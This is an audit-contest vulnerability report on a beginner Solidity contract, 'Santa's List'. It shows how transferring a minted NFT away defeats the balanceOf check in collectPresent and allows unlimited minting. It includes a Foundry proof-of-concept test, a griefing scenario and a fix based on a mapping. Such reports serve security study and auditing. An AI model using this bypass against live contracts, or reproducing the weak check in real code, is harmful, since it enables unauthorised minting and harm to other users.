First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Users can mint NFT infinite times due to weak duplicacy check in SantasList::collectPresent function

shikhar229169

Summary

  • Users are restricted to collect NFT only 1 time as stated in the docs but due to weak duplicacy check inside the SantasList::collectPresent function, one can mint NFT as many times they want by transferring their NFT to their alternate address and bypassing the weak duplicacy check as it will fail because the user now has 0 balance of NFT after transferring, thus again minting a NFT by calling collectPresent function.
    This will lead to minting of the NFT as many times a user want, thus going against the protocol rules set by Santa.

  • Also, one can collect NFT and transfer it to other NICE or EXTRA_NICE person and tease them to not be able to mint NFT even though they have not collected it by calling the collectPresent function but they can collect it by transferring the NFT to address(0).

Vulnerability Details

The vulnerability is due to the weak duplicacy check present inside the function SantasList::collectPresent function at line 151. The check is not strong enough to check for duplicate minting of NFT by a user.
As the check just validate the user's nft balance if it is zero or not, the nft minted by collectPresent function can be transferred to another address by calling transferFrom function on the SantasList contract leaving the NFT balance to 0, thus collectPresent function can be again called as the check will fail as the user's NFT balance is 0 due transferring it to another address, thus collectPresent can be called again and again, and NFT can be minted as many times.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
@> if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

PoC

Refactor the import in file test/unit/SantasListTest.t.sol: (Vm is used to get array to get the Log array to store recorded event logs)

import {Test} from "forge-std/Test.sol";

to

import {Vm, Test} from "forge-std/Test.sol";

Add the test in the file test/unit/SantasListTest.t.sol Run the test:

forge test --mt test_UsersCanMintInfiniteNft_By_TransferingItToTheirOtherAddress
function test_UsersCanMintInfiniteNft_By_TransferingItToTheirOtherAddress() public {
// the alternate address of user
address userAlternateAddr = makeAddr("userAlternateAddr");
​
vm.startPrank(santa);
​
// Santa checks user once
santasList.checkList(user, SantasList.Status.NICE);
​
// Santa checks user second time
santasList.checkTwice(user, SantasList.Status.NICE);
​
vm.stopPrank();
​
// christmas time 🌳🎁 HO-HO-HO
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME());
​
vm.recordLogs();
​
// user collects the present
vm.prank(user);
santasList.collectPresent();
​
Vm.Log[] memory logs = vm.getRecordedLogs();
uint256 tokenId = uint256(logs[0].topics[3]);
​
// once the user collects present, they should not be able to collect it again
// but due to the weak check in codebase, users can trick the codebase by transfering
// their minted NFT to their alt. address and thus bypassing the check
​
// user transfers their nft to other address
vm.prank(user);
santasList.transferFrom(user, userAlternateAddr, tokenId);
​
// now the balance of the user's nft becoeme 0 and they can bypass the duplicate nft check
// user again calls the collect present function and mints an nft
vm.recordLogs();
vm.prank(user);
santasList.collectPresent();
​
logs = vm.getRecordedLogs();
uint256 newTokenId = uint256(logs[0].topics[3]);
​
assert(newTokenId != tokenId);
assertEq(santasList.ownerOf(newTokenId), user);
​
// thus the user was able to mint nft twice
// they can continue to mint nft as many times they want by transferring their prev nft
// to their alt. address followed by calling collectPresent and so on and so forth
}

Impact

  • The Santa allows a NICE or EXTRA_NICE person to mint NFT a single time by calling the collectPresent function but due to the weak check the protocol can be tricked and NFT can be minted as many times, thus it violates the protocol rules and hence it creates high impact on the protocol as well as on Santa.

  • Also, malicious users can tease NICE or EXTRA_NICE to not be able to mint NFT by transferring their NFT to their address and as their NFT balance becomes > 0, thus they can't collect their present as collectPresent function call will revert.

Tools Used

Manual Review, Foundry Test

Recommendations

Instead of checking the user's NFT balance, add a mapping to check whether a user has collected the present or not. (Remember to follow the CEI pattern)

+ mapping(address => bool) private s_presentCollected;
​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if (s_presentCollected[msg.sender]) {
+ revert SantasList__AlreadyCollected();
+ }
+ s_presentCollected[msg.sender] = true;
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}

Now, it doesn't depend on the user's NFT balance and one can't collect NFT the other time as it only allows the eligible users to call it once.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.